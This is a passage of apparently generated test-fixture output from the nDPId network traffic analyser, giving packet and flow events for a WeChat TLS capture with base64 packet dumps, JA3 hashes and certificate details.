UOQTFEHWpgwEZ+AYycJbx5V0HW\/nKD+K9w3wfFQHSv1kpTD5aqa7hkoPXuhZoSgPYtmdm9uRmqMW+1wnUXrMeJy4BlfCHc+O83GptB6O2TqLh9yz5rbAaD1lM6UkW8g\/cb54XxvpQF9+Ty9UDT2pOmakMrsxiQEuPlUDT\/AOZwZDC3lnOIg1GxUyKZtfUN0L99VzZ4PRmxgYK0ovlZWH6rBozuaC+7WOd\/lfvo2\/8BUuGZidl98QV6mOjzZYg6RFpR4dHgiptsLAc91Hv29NoHaXH\/g\/+KmosnifMTjDOkXpvajbvTJYkuRByIwPyxrj3UlRRVEHlpaEFF7LRXFNLZKDU5teK+T4JrLS46g3kPd3V+WYvlxipr+g4177KabX0Ss9w3oDKyUL59w6KzpSm+yJvVpHmFL7Tr3P9UP2o5Y+gK4iJN0dW2TLqnAU\/1pBRRcn1fGvGFhjGzQFKtCcsis7PwleHyYYPNMarowz2kFJ3hyr2KnAqO1V\/Ug3MMOtzc30Kfj07I2CbahIY2MEQTudeo8LoBd0P9Oz3iQ5D0ZlvtX4TZrCOJXrsfH44fNyd5QE2itUZ9rH0YRmUBuQIDpHtn31Dm7ln0jLBlMgXTLUVIZVs9JISL9aiJ8IqOfZfOsPnoPi2A=="} +01072{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167354,"pkt_ts_usec":869112,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"8IQvSpdgeJKcD6iOCABFAAIPZnFAAEAGrPjAqAFny82XotNJAbvI4OM3i4CoS4AYASioUwAAAQEICgAwu8NF8RMzFwMDAdYAAAAAAAAAAjjUh2xk8jMDiJIIdB2uw0YRbrot6hyg2Ttc1pVL9SA+EePoW1Xi9q65OFYKUVmOdM9bvvhzr1jPW4uO8eW0yljFtcGTKBMKM8PpEsLIO7+1P8T1S63WKFRgJ5Ka0U2UxSuj2RhoQVzNwPvsauVzDjyZtoHippSFMzFBloHSN5psPlJSHd7Uu9qVWCUeo5+9KrO0RMCOcA+DkBqb63GqOoJWnGo5AjdniweZggXmSVpy1OSwODnKosv5dSyLSatxMGRNALnEWUjzDDXqkPfuHyVIvXgFldqRCT8dkcRp4R0sGeWklsq6dbuaZAWIhMTI7a4U\/BEdVJhEvRKB+Pai2gfc\/d87kAzs5lG4F3E\/wWPuxkhAoBKj\/wvhjvSzSYHHexmdptDu90ZrsfapCJ4dQbkS2uiAbtOUcFPMoNi78oday4kMZ7peUUHzFLGDgpCVd4yl7PJiZJj9fZXgH\/1xcANHZSihoJVg1fqkOLQsYVE2FYbfRxXihyW5N4aNGHjwkRCyrxCl17\/6oHX6vJvi9\/XWVPnoRt7PRuuqm\/WkUKPB7QwhIwIkwlGBHmRylwZrLKqThL3EnpMGIH+i0+7OtXMtPpsYZQpgPuyWmYRRtQ=="} +00749{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":372539,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEia35AAEAGqNjAqAFny82XotNKAbuhD9GnKIMfQYAYAOWR5gAAAQEICgAwvEFF8RKkFgMBAOkBAADlAwPQGPUQ73ic+7iVIAjQSjq5W05BxFF6D6kJRu\/s5h+d6yA3foG4i9pV6QeN41xMuSS6TypXmVvnRL5nSZVX0j3qogAg2trMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8+voAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIGhoAHQAXABgaGgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":114,"source":"wechat.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1492167353937,"flow_last_seen":1492167355372,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54090,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02037{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":388384,"pkt_caplen":1254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1254,"pkt_l4_len":1220,"pkt":"8IQvSpdgeJKcD6iOCABFAATYn8NAAEAGcN3AqAFny82XotMqAbshWCCwT4FL\/oAYAchBqgAAAQEICgAwvEVF0aSGFwMDBJ8AAAAAAAAACSCXh69SRVNj7LxTHyTa29lyIMx5rUn\/Kbsx2RSLcx6h5Rof7MvhSBslxiMA7RM+grN19AFhFkb86ybE4QzYLqZogvxRJjzavJpiSw0h2JHTRLw5hxkIJT93\/hBnX4KXAJggRKu+zDGdqHHdv4fTutm2SVgm7d7YrX77rNoEa49Z7tjdE+lO2DuQkrDWrkIcPj0eYPzI9xDvhacp1zu+uHhR194mvhqvVQzKnG9JQA7M8yc34zhOP58E3OjjXwz3ELzMbE8lsUYni0FdVDzD5AHz2ZXkJTACi6epY43d8swMwJs750LtRYiDdf+30r4284+LeVd8LVUpJU\/rrav+ZKJhyQ9sw9XMWliErx\/Hsl\/5h3MZRKZeqbDE6P8CmhyiQOuweltYgaOp1rsNtfHpo493xewTpz5snn5PbRcKUqFF5M4r7lhwPPhIeVK4WOUH\/33+Sq98q7EPLrHMUFohSF90hiJaXtAj+rHVK1gMf9oOJW2ySdU7MX2DS86yuQ6kfFtJuGuxo1Cz6PJoomwid9YpsbBbTMx6m4z9l\/ny1t10Pd97BylHaTo6YBGXBgtaz8dbyFkkD5Nbk5dwtmaGlM9uIlF\/rv5c1A55dbIdj8naBbyQ7fTwTJFbjISBkJmpaQoU2kc\/zziP44xaoDUxaRt9Ry\/806C0HPovj+JC6hKAJhd7IU3lz1cd2EcOR09Ulbh6GcnGtGoIEgMSnOqlHSHFOvhwMJOgqMdjV4Ts3j6kz4nuUL7P9W38WCZ6Et6v6MCfJC1NHlb+BiknubpqgZZ7mM9\/dQzJwaHAVm1pExnTA0Qtn9u2w0Ob0wTvtwWHLqB8+w1X5lLgz+g0\/KazNnFwZsVC8NJt7gXfJimXlNiQyyoVZPRU5TsryE76p7eJsfK2K3vD+oV2xOy0odJivKdVU9d\/b0lN4vXAAJXGR8apbNgPqwivAZHIvQdWqFgNwio4MLv0L8zBSqiIiaIpEMDbJPlGf3NTa8KHL9KuF0\/XkvPuIqyQ1vikTJWv3M0PfnYGX\/91JwgIycN3X4tfAJPTYU1bJR8H9lqbTS68wW7e8n7Z9kn4BsSK8WdGfSG\/BGchlsNazeLO6dljFOzNH1Nb0yqv79UpRl3Kr1HkZo+mQcyTmdDq73MBTVTodPICJb5JR1YLjVlWLyhlubA3PMAZhd7v493hq7IuxuvrhHldQDGHsYcPZ0+ZYWLqkDletWw1l3zV0GxsjRhJ3s3iffY9XBpGE8EG39zicWNmnu8THVvBYw\/7ASp9iDFLWiJkigPswdmPFhkbbEWproj9M3h6bBS7Z9ohy6yUXPGG6RKTKX45Eg\/Pm2f3Y3bPQ15p4S5E260\/wYzmk6Pco8MZXXOtCrfsbgBU3U\/QFaYJziOi8kV14C9ocoOj7UNbOPlK4JGIThUQC22wBIoO4QcICqfGi12dFi3\/dZawWcVCDgNfdmaRqjA7vn2Ew3dMX8AfiCfUGFCye6yKRfSC\/KcvJGql1sIadq+izTaBp+jfWADKBhJTOB7x6VUd2Bs6qIc6mkvKSj4SxqM+NPNL5GVHDR9qjJ4H5zSi"} +00425{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":708813,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0dwVAACwGsZ\/LzZeiwKgBZwG70ypPgUv+IVglVIAQAR3wRAAAAQEICkXRpoMAMLxF"} +00694{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":714716,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"eJKcD6iO8IQvSpdgCABFoAD6dwZAACwGsNjLzZeiwKgBZwG70ypPgUv+IVglVIAYAR1S1AAAAQEICkXRpoQAMLxFFwMDAMGOrZUQQd+elO6yUWZaxB1XMRBaU5iIrSWBDYFMTBklza86ZAJ6mlfc+fSz1nangNwW6dDHehHKK9aovFSe8h\/p4B1XlNKo6T5XxbmSKu1Sbxvxyur1MrHjSISlyLPclpL0f6AhZsZEEcReSmOdovjdyShnPTyu0ybkZB4WFJHVgACkcFaPkTxnnNq1rLUf91oPxf\/kt+Uc1aHDCkMk\/Kcb18Ipw1elIOYbN1xUGZ7sM+yxphWAWHZg+LCttdBqRoJi"} +00424{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":714740,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0n8RAAEAGdYDAqAFny82XotMqAbshWCVUT4FMxIAQAd7uawAAAQEICgAwvJZF0aaE"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":122,"source":"wechat.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1492167355723,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54091,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":723894,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8P4ZAAEAG1bbAqAFny82XotNLAbtsCoMeAAAAAKACchAveAAAAgQFtAQCCAoAMLyYAAAAAAEDAwc="} +00425{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":738109,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0C01AAC4GG1jLzZeiwKgBZwG700oogx9BoQ\/SlYAQAHip5wAAAQEICkXxFAwAMLxB"} +02346{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":743680,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIC05AAC4GFcPLzZeiwKgBZwG700oogx9BoQ\/SlYAQAHg1LQAAAQEICkXxFA4AMLxBFgMDAF0CAABZAwOhsS53G0R6i7AXuwL+d6wg7LMuP9pVZ3zq3hDh3VdALyAu7u+IESMOXMTRIYoN\/ZwuWvg9\/+wNvYR8waFYhnvDhcAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":124,"source":"wechat.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":6,"flow_first_seen":1492167353937,"flow_last_seen":1492167355743,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54090,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":743715,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0a39AAEAGqcXAqAFny82XotNKAbuhD9KVKIMk1YAQAPujcgAAAQEICgAwvJ1F8RQO"} +02348{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":744203,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIC09AAC4GFcLLzZeiwKgBZwG700oogyTVoQ\/SlYAQAHjYngAAAQEICkXxFA4AMLxBi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQ3uHpwef1MG+BNoRiDsPpSH5gW5GIz4uFejJInYWv7G+T9hMHk7Bq\/nr4Zhg6JNNyHsGHmEC5ci\/sFKwhYshZkBgEBADSEHffG"} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":126,"source":"wechat.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":8,"flow_first_seen":1492167353937,"flow_last_seen":1492167355744,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54090,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":744228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0a4BAAEAGqcTAqAFny82XotNKAbuhD9KVKIMqaYAQARGdxwAAAQEICgAwvJ5F8RQO"} +00781{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":744773,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4C1BAAC4GGlHLzZeiwKgBZwG700oogyppoQ\/SlYAYAHgcYwAAAQEICkXxFA4AMLxBrWqcYcmfgNeSEdnmJ5nyoHMAVeaBIcWYcz1pTCm2RGV7eUnYOO875YQ7xSqd2OzVA8qQXCPv27uKii008HP8GoLtpFGi0DAXndkfaNsefxALbcNqDrb\/EWVo7Od6q+is7u5kx8PwNSqcxfsH91yNQcsoNLmMNFHkzBwRHwtGsIcfF28w+wIumV\/7PrhP\/kvYEvyt+LEaddd+XZ2KB7za+Pe\/6Zq6By2Tb5BP2VLakhk+dc+A47b3kd8v58hS77Lns3WXAriAzfOs52nM8qdtSkZFmISUhdKxui67nouiSz0WuB8H5xQdMkNKMvhWjR5J3Apj3uim9AQtresWAwMABA4AAAA="} +00425{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":744804,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0a4FAAEAGqcPAqAFny82XotNKAbuhD9KVKIMrbYAQASicrAAAAQEICgAwvJ5F8RQO"} +00599{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167355,"pkt_ts_usec":745932,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACya4JAAEAGqUTAqAFny82XotNKAbuhD9KVKIMrbYAYASgmpQAAAQEICgAwvJ5F8RQOFgMDAEYQAABCQQTW54G5ygZMFzJMA3QBRi+4YfZQ+vrY+14xhh043NTgIW2nN5Djq6OJrGE\/Q5SMlEm02FDXSZWOKU4JGAF0RPduFAMDAAEBFgMDACgAAAAAAAAAACGgOeAaPsug5OT\/xG+f46v\/aO1Xc8JTQ0kZfPBt8fdC"} +00435{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":77508,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG700uz8YPYbAqDH6ASN8iq2QAAAgQFoAQCCApFrUFyADC8mAEDAwc="} +00424{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":77551,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0P4dAAEAG1b3AqAFny82XotNLAbtsCoMfs\/GD2YAQAOUQHAAAAQEICgAwvPFFrUFy"} +00750{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167356,"pkt_ts_usec":77750,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiP4hAAEAG1M7AqAFny82XotNLAbtsCoMfs\/GD2YAYAOVYrwAAAQEICgAwvPFFrUFyFgMBAOkBAADlAwPrb22xHnXa3171HQ\/x0N7leORqlrAubtrqrBze9\/ohpiA3foG4i9pV6QeN41xMuSS6TypXmVvnRL5nSZVX0j3qogAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8amoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIamoAHQAXABi6ugABAA=="} 